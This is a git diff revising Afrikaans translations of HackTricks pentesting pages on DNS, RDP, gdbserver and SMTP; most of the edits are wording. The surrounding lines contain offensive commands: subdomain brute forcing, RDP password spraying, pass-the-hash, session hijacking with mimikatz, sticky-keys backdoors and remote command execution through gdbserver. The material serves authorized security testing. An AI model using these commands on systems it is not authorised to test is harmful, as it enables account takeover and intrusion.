@ -49,7 +49,7 @@ Jy kan hierdie navraag uitvoer met behulp van `dig`:
|
|||
```bash
|
||||
dig version.bind CHAOS TXT @DNS
|
||||
```
|
||||
Verder kan die gereedskap [`fpdns`](https://github.com/kirei/fpdns) ook die bediener se vingerafdruk identifiseer.
|
||||
Verder kan die gereedskap [`fpdns`](https://github.com/kirei/fpdns) ook die bediener se vingerafdruk neem.
|
||||
|
||||
Dit is ook moontlik om die banier ook met 'n **nmap** skrip te gryp:
|
||||
```
|
||||
|
@ -112,12 +112,12 @@ dnsrecon -r <IP_DNS>/24 -n <IP_DNS> #DNS reverse of all of the addresses
|
|||
dnsrecon -d active.htb -a -n <IP_DNS> #Zone transfer
|
||||
```
|
||||
{% hint style="info" %}
|
||||
As jy in staat is om subdomeine wat na interne IP-adresse verwys, te vind, moet jy probeer om 'n omgekeerde dns BF uit te voer na die NSs van die domein wat vir daardie IP-reeks vra.
|
||||
As jy in staat is om subdomeine wat na interne IP-adresse verwys, te vind, moet jy probeer om 'n omgekeerde DNS BF uit te voer na die NSs van die domein wat vir daardie IP-reeks vra.
|
||||
{% endhint %}
|
||||
|
||||
'n Ander instrument om dit te doen: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
|
||||
|
||||
Jy kan navrae doen na omgekeerde IP-reeks na [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#\_dns) (hierdie instrument is ook nuttig met BGP).
|
||||
Jy kan omgekeerde IP-reeksnavrae doen na [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#\_dns) (hierdie instrument is ook nuttig met BGP).
|
||||
|
||||
### DNS - Subdomeine BF
|
||||
```bash
|
||||
|
@ -125,7 +125,7 @@ dnsenum --dnsserver <IP_DNS> --enum -p 0 -s 0 -o subdomains.txt -f subdomains-10
|
|||
dnsrecon -D subdomains-1000.txt -d <DOMAIN> -n <IP_DNS>
|
||||
dnscan -d <domain> -r -w subdomains-1000.txt #Bruteforce subdomains in recursive way, https://github.com/rbsec/dnscan
|
||||
```
|
||||
### Aktiewe Gidsbedieners
|
||||
### Aktiewe Gids bedieners
|
||||
```bash
|
||||
dig -t _gc._tcp.lab.domain.com
|
||||
dig -t _ldap._tcp.lab.domain.com
|
||||
|
@ -144,18 +144,18 @@ nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=paypal
|
|||
```
|
||||
### IPv6
|
||||
|
||||
Brute force deur "AAAA" versoeke te gebruik om IPv6 van die subdomeine te versamel.
|
||||
Brute force deur gebruik te maak van "AAAA" versoeke om die IPv6 van die subdomeine te versamel.
|
||||
```bash
|
||||
dnsdict6 -s -t <domain>
|
||||
```
|
||||
### Bruteforce omgekeerde DNS in met behulp van IPv6-adressen
|
||||
### Bruteforce omgekeerde DNS in met behulp van IPv6-adresse
|
||||
```bash
|
||||
dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net
|
||||
```
|
||||
### DNS Rekursie DDoS
|
||||
|
||||
Indien **DNS-rekursie geaktiveer is**, kan 'n aanvaller die **oorsprong** op die UDP-pakket vervals om die **DNS te dwing om die respons na die slagofferbediener te stuur**. 'n Aanvaller kan **ENIGE** of **DNSSEC** rekordtipes misbruik aangesien hulle geneig is om groter respons te hê.\
|
||||
Die manier om te **kontroleer** of 'n DNS **rekursie ondersteun**, is om 'n domeinnaam te ondervra en te **kontroleer** of die **vlag "ra"** (_rekursie beskikbaar_) in die respons is:
|
||||
Indien **DNS rekursie geaktiveer is**, kan 'n aanvaller die **oorsprong** op die UDP-pakket vervals om die **DNS te dwing om die antwoord na die slagofferserver te stuur**. 'n Aanvaller kan **ENIGE** of **DNSSEC** rekordtipes misbruik aangesien hulle geneig is om groter antwoorde te hê.\
|
||||
Die manier om te **kontroleer** of 'n DNS **rekursie ondersteun**, is om 'n domeinnaam te ondervra en te **kontroleer** of die **vlag "ra"** (_rekursie beskikbaar_) in die antwoord is:
|
||||
```bash
|
||||
dig google.com A @<IP>
|
||||
```
|
||||
|
@ -167,21 +167,21 @@ dig google.com A @<IP>
|
|||
|
||||
.png>)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Onmiddellik beskikbare opstelling vir kwetsbaarheidsevaluering & pentesting**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap en kenmerke wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd te gee om dieper te delf, skulpe te laat spat, en pret te hê.
|
||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering & pentesting**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap en kenmerke wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle tyd te gee om dieper te delf, skulpe te laat val, en pret te hê.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
### E-pos aan nie-bestaande rekening
|
||||
|
||||
Deur die ondersoek van 'n nie-aflewering kennisgewing (NDN) wat geaktiveer word deur 'n e-pos wat gestuur is na 'n ongeldige adres binne 'n teiken domein, word waardevolle interne netwerkdetails dikwels bekendgemaak.
|
||||
Deur die ondersoek van 'n nie-aflewering kennisgewing (NDN) wat deur 'n e-pos gestuur is na 'n ongeldige adres binne 'n teiken domein, word waardevolle interne netwerkdetails dikwels bekendgemaak.
|
||||
|
||||
Die verskafte nie-aflewering verslag sluit inligting in soos:
|
||||
|
||||
* Die genererende bediener is geïdentifiseer as `server.example.com`.
|
||||
* 'n Mislukkingskennisgewing vir `user@example.com` met die foutkode `#550 5.1.1 RESOLVER.ADR.RecipNotFound; not found` is terugbesorg.
|
||||
* Interne IP-adresse en gasheernames is bekendgemaak in die oorspronklike boodskopkoppe.
|
||||
* Interne IP-adresse en gasheernaam is bekendgemaak in die oorspronklike boodskopkoppe.
|
||||
```markdown
|
||||
The original message headers were modified for anonymity and now present randomized data:
|
||||
|
||||
|
@ -205,7 +205,7 @@ filter.example.com with ESMTP id xVNPkwaqGgdyH5Ag for user@example.com; Mon,
|
|||
X-Envelope-From: sender@anotherdomain.org
|
||||
X-Apparent-Source-IP: 198.51.100.37
|
||||
```
|
||||
## Opsetlêers
|
||||
## Opset lêers
|
||||
```
|
||||
host.conf
|
||||
/etc/resolv.conf
|
||||
|
@ -215,7 +215,7 @@ host.conf
|
|||
/etc/bind/named.conf.log
|
||||
/etc/bind/*
|
||||
```
|
||||
Gevaarlike instellings wanneer 'n Bind-bediener opgestel word:
|
||||
Gevaarlike instellings wanneer 'n Bind-bediener gekonfigureer word:
|
||||
|
||||
| **Opsie** | **Beskrywing** |
|
||||
| ----------------- | ------------------------------------------------------------------------------ |
|
||||
|
@ -282,9 +282,9 @@ Description: DNS enumeration without the need to run msfconsole
|
|||
Note: sourced from https://github.com/carlospolop/legion
|
||||
Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; set RPORT 53; run; exit' && msfconsole -q -x 'use auxiliary/gather/enum_dns; set RHOSTS {IP}; set RPORT 53; run; exit'
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Onmiddellik beskikbare opstelling vir kwetsbaarheidsassessering & pentesting**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap & kenmerke wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te delf, skulpe te laat pop, en pret te hê.
|
||||
**Onmiddellik beskikbare opstelling vir kwetsbaarheidsassessering & pentesting**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap & kenmerke wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te graaf, skulpe te laat pop en pret te hê.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
@ -294,10 +294,10 @@ Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; s
|
|||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslaan.
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -10,11 +10,11 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Onmiddellik beskikbare opstelling vir kwetsbaarheidsassessering & penetrasietoetsing**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap & funksies wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te delf, skulpe te laat pop, en pret te hê.
|
||||
|
||||
|
@ -22,7 +22,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
## Basiese Inligting
|
||||
|
||||
Ontwikkel deur Microsoft, die **Remote Desktop Protocol** (**RDP**) is ontwerp om 'n grafiese koppelvlakverbinding tussen rekenaars oor 'n netwerk moontlik te maak. Om so 'n verbinding tot stand te bring, word **RDP**-kliënt sagteware deur die gebruiker gebruik, en terselfdertyd moet die afgeleë rekenaar **RDP**-bedienersagteware bedryf. Hierdie opstelling maak dit moontlik om die afgeleë beheer en toegang tot 'n verre rekenaar se lessenaaromgewing te hê, wat essensieel sy koppelvlak na die gebruiker se plaaslike toestel bring.
|
||||
Ontwikkel deur Microsoft, is die **Remote Desktop Protocol** (**RDP**) ontwerp om 'n grafiese koppelvlakverbinding tussen rekenaars oor 'n netwerk moontlik te maak. Om so 'n verbinding tot stand te bring, word **RDP**-kliënt sagteware deur die gebruiker gebruik, en gelyktydig moet die afgeleë rekenaar **RDP**-bedienersagteware bedryf. Hierdie opstelling maak dit moontlik om die afgeleë beheer en toegang tot 'n verre rekenaar se lessenaaromgewing na die gebruiker se plaaslike toestel te bring.
|
||||
|
||||
**Verstekpoort:** 3389
|
||||
```
|
||||
|
@ -43,11 +43,11 @@ Dit kontroleer die beskikbare enkripsie en DoS kwesbaarheid (sonder om DoS aan d
|
|||
|
||||
### [Brute force](../generic-methodologies-and-resources/brute-force.md#rdp)
|
||||
|
||||
**Wees versigtig, jy kan rekeninge blokkeer**
|
||||
**Wees versigtig, jy kan rekeninge sluit**
|
||||
|
||||
### **Password Spraying**
|
||||
### **Wagwoord Spuiting**
|
||||
|
||||
**Wees versigtig, jy kan rekeninge blokkeer**
|
||||
**Wees versigtig, jy kan rekeninge sluit**
|
||||
```bash
|
||||
# https://github.com/galkan/crowbar
|
||||
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
|
||||
|
@ -63,13 +63,13 @@ xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
|
|||
```
|
||||
### Kontroleer bekende geloofsbriewe teenoor RDP-diens
|
||||
|
||||
rdp\_check.py van impacket laat jou toe om te kontroleer of sekere geloofsbriewe geldig is vir 'n RDP-diens:
|
||||
rdp_check.py van impacket laat jou toe om te kontroleer of sekere geloofsbriewe geldig is vir 'n RDP-diens:
|
||||
```bash
|
||||
rdp_check <domain>/<name>:<password>@<IP>
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Onmiddellik beskikbare opstelling vir kwetsbaarheidsevaluering & deurdringende toetse**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap en kenmerke wat strek van verkenning tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporings- en uitbuitingsmodules om hulle 'n bietjie tyd te gee om dieper te delf, skulpe te laat pop en pret te hê.
|
||||
**Onmiddellik beskikbare opstelling vir kwetsbaarheidsevaluering & pentesting**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap & kenmerke wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te delf, skulpe te laat spat, en pret te hê.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
@ -77,9 +77,9 @@ rdp_check <domain>/<name>:<password>@<IP>
|
|||
|
||||
### Sessiediefstal
|
||||
|
||||
Met **SYSTEM-toestemmings** kan jy enige **geopende RDP-sessie deur enige gebruiker** toegang sonder om die wagwoord van die eienaar te weet.
|
||||
Met **STELSEL-toestemmings** kan jy toegang verkry tot enige **geopen RDP-sessie deur enige gebruiker** sonder om die wagwoord van die eienaar te ken.
|
||||
|
||||
**Kry geopende sessies:**
|
||||
**Kry geopen sessies:**
|
||||
```
|
||||
query user
|
||||
```
|
||||
|
@ -100,15 +100,15 @@ Jy kan ook mimikatz gebruik om dit te doen:
|
|||
ts::sessions #Get sessions
|
||||
ts::remote /id:2 #Connect to the session
|
||||
```
|
||||
### Plakkerige toets & Utilman
|
||||
### Plakkerige toetse & Utilman
|
||||
|
||||
Deur hierdie tegniek te kombineer met **stickykeys** of **utilman sal jy in staat wees om enige administratiewe CMD en enige RDP-sessie enige tyd te benader**
|
||||
Deur hierdie tegniek te kombineer met **stickykeys** of **utilman sal jy in staat wees om enige tyd toegang te verkry tot 'n administratiewe CMD en enige RDP-sessie**
|
||||
|
||||
Jy kan soek na RDP's wat reeds met een van hierdie tegnieke agterdeur is met: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
|
||||
Jy kan soek na RDP's wat reeds met een van hierdie tegnieke agterdeur toegerus is met: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
|
||||
|
||||
### RDP Prosesherinspuiting
|
||||
### RDP Proseshinspuiting
|
||||
|
||||
Indien iemand vanaf 'n ander domein of met **betere voorregte aanmeld via RDP** na die rekenaar waar **jy 'n Admin is**, kan jy jou sein inspuit in sy **RDP-sessie proses** en as hom optree:
|
||||
Indien iemand vanaf 'n ander domein of met **betere voorregte inlog via RDP** na die rekenaar waar **jy 'n Admin is**, kan jy jou sein in sy **RDP-sessieproses inspuit** en as hom optree:
|
||||
|
||||
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %}
|
||||
[rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
|
||||
|
@ -122,14 +122,14 @@ net localgroup "Remote Desktop Users" UserLoginName /add
|
|||
|
||||
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
|
||||
|
||||
**AutoRDPwn** is 'n naverwerkingsraamwerk geskep in Powershell, primêr ontwerp om die **Shadow**-aanval op Microsoft Windows-rekenaars outomaties te maak. Hierdie kwesbaarheid (gelys as 'n kenmerk deur Microsoft) maak dit vir 'n afgeleë aanvaller moontlik om **sy slagoffer se lessenaar sonder sy toestemming te sien**, en selfs dit op aanvraag te beheer, deur gebruik te maak van gereedskap wat inherent is aan die bedryfstelsel self.
|
||||
**AutoRDPwn** is 'n post-exploitation raamwerk geskep in Powershell, primêr ontwerp om die **Shadow** aanval op Microsoft Windows-rekenaars outomaties te maak. Hierdie kwesbaarheid (gelys as 'n kenmerk deur Microsoft) maak dit vir 'n afgeleë aanvaller moontlik om **sy slagoffer se lessenaar sonder sy toestemming te sien**, en selfs dit op aanvraag te beheer, deur gebruik te maak van gereedskap wat inherent is aan die bedryfstelsel self.
|
||||
|
||||
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
|
||||
* Beheer muis en sleutelbord op 'n geoutomatiseerde manier vanaf die opdraglyn
|
||||
* Beheer knipbord op 'n geoutomatiseerde manier vanaf die opdraglyn
|
||||
* Skep 'n SOCKS-proksi vanaf die klient wat netwerk kommunikasie na die teiken via RDP kanaliseer
|
||||
* Skep 'n SOCKS-proksi vanaf die klient wat netwerk kommunikasie na die teiken deur RDP kanaliseer
|
||||
* Voer willekeurige SHELL- en PowerShell-opdragte op die teiken uit sonder om lêers te oplaai
|
||||
* Laai lêers op en aflaai na/van die teiken selfs wanneer lêeroordragte op die teiken gedeaktiveer is
|
||||
* Laai lêers op en af vanaf die teiken selfs wanneer lêeroordragte op die teiken gedeaktiveer is
|
||||
```
|
||||
Protocol_Name: RDP #Protocol Abbreviation if there is one.
|
||||
Port_Number: 3389 #Comma separated if there is more than one.
|
||||
|
@ -148,9 +148,9 @@ Name: Nmap
|
|||
Description: Nmap with RDP Scripts
|
||||
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Onmiddellik beskikbare opstelling vir kwetsbaarheidsassessering en deurdringende toetse**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap en kenmerke wat strek van verkenningswerk tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing- en uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te delf, skulpe te laat pop en pret te hê.
|
||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering en indringingstoetsing**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap en kenmerke wat strek van verkenningswerk tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing- en uitbuitingsmodules om hulle tyd te gee om dieper te delf, skulpe te laat spat, en pret te hê.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
@ -164,6 +164,6 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslaan.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -14,9 +14,9 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Onmiddellik beskikbare opstelling vir kwetsbaarheidsassessering & pentesting**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap & funksies wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te delf, skulpe te laat pop, en pret te hê.
|
||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering & pentesting**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap & funksies wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te graaf, skulpe te laat pop, en pret te hê.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
@ -55,7 +55,7 @@ run
|
|||
```
|
||||
### Voer willekeurige bevele uit
|
||||
|
||||
Daar is 'n ander manier om **die debugger willekeurige bevele te laat uitvoer deur 'n** [**python aangepaste skrip geneem vanaf hier**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target).
|
||||
Daar is 'n ander manier om **die debugger willekeurige bevele te laat uitvoer deur 'n** [**python aangepaste skrip geneem van hier**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target).
|
||||
```bash
|
||||
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
|
||||
target extended-remote 192.168.1.4:2345
|
||||
|
@ -195,9 +195,9 @@ RemoteCmd()
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Onmiddellik beskikbare opstelling vir kwetsbaarheidsassessering & deurdringende toetse**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap en kenmerke wat strek van verkenningswerk tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporings- en uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te delf, skulpe te laat klap, en pret te hê.
|
||||
**Onmiddellik beskikbare opstelling vir kwetsbaarheidsassessering & pentesting**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap & kenmerke wat strek van verkenningswerk tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te graaf, skulpe te laat pop, en pret te hê.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
@ -209,8 +209,8 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,21 +8,21 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Onmiddellik beskikbare opstelling vir kwetsbaarheidsassessering & pentesting**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap & funksies wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te delf, skulpe te laat pop, en pret te hê.
|
||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering & pentesting**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap & kenmerke wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd te gee om dieper te delf, skulpe te laat pop, en pret te hê.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
## **Basiese Inligting**
|
||||
|
||||
Die **Simple Mail Transfer Protocol (SMTP)** is 'n protokol wat binne die TCP/IP-reeks gebruik word vir die **stuur en ontvang van e-pos**. As gevolg van sy beperkings in die toustaan van boodskappe aan die ontvanger se kant, word SMTP dikwels saam met **POP3 of IMAP** gebruik. Hierdie bykomende protokolle stel gebruikers in staat om boodskappe op 'n bedienerposbus te stoor en dit periodiek af te laai.
|
||||
Die **Simple Mail Transfer Protocol (SMTP)** is 'n protokol wat binne die TCP/IP-reeks gebruik word vir die **stuur en ontvang van e-pos**. As gevolg van sy beperkings in die toustaan van boodskappe aan die ontvanger se kant, word SMTP dikwels saam met **POP3 of IMAP** gebruik. Hierdie bykomende protokolle stel gebruikers in staat om boodskappe op 'n bedienerposbus te stoor en hulle periodiek af te laai.
|
||||
|
||||
In die praktyk is dit algemeen vir **e-posprogramme** om **SMTP te gebruik vir die stuur van e-posse**, terwyl hulle **POP3 of IMAP gebruik vir die ontvang** daarvan. Op Unix-gebaseerde stelsels, steek **sendmail** uit as die SMTP-bedienaar wat meesal vir e-posdoeleindes gebruik word. Die kommersiële pakket bekend as Sendmail sluit 'n POP3-bedienaar in. Verder bied **Microsoft Exchange** 'n SMTP-bedienaar en bied die opsie om POP3-ondersteuning in te sluit.
|
||||
|
||||
|
@ -33,13 +33,13 @@ PORT STATE SERVICE REASON VERSION
|
|||
```
|
||||
### E-POS Koppe
|
||||
|
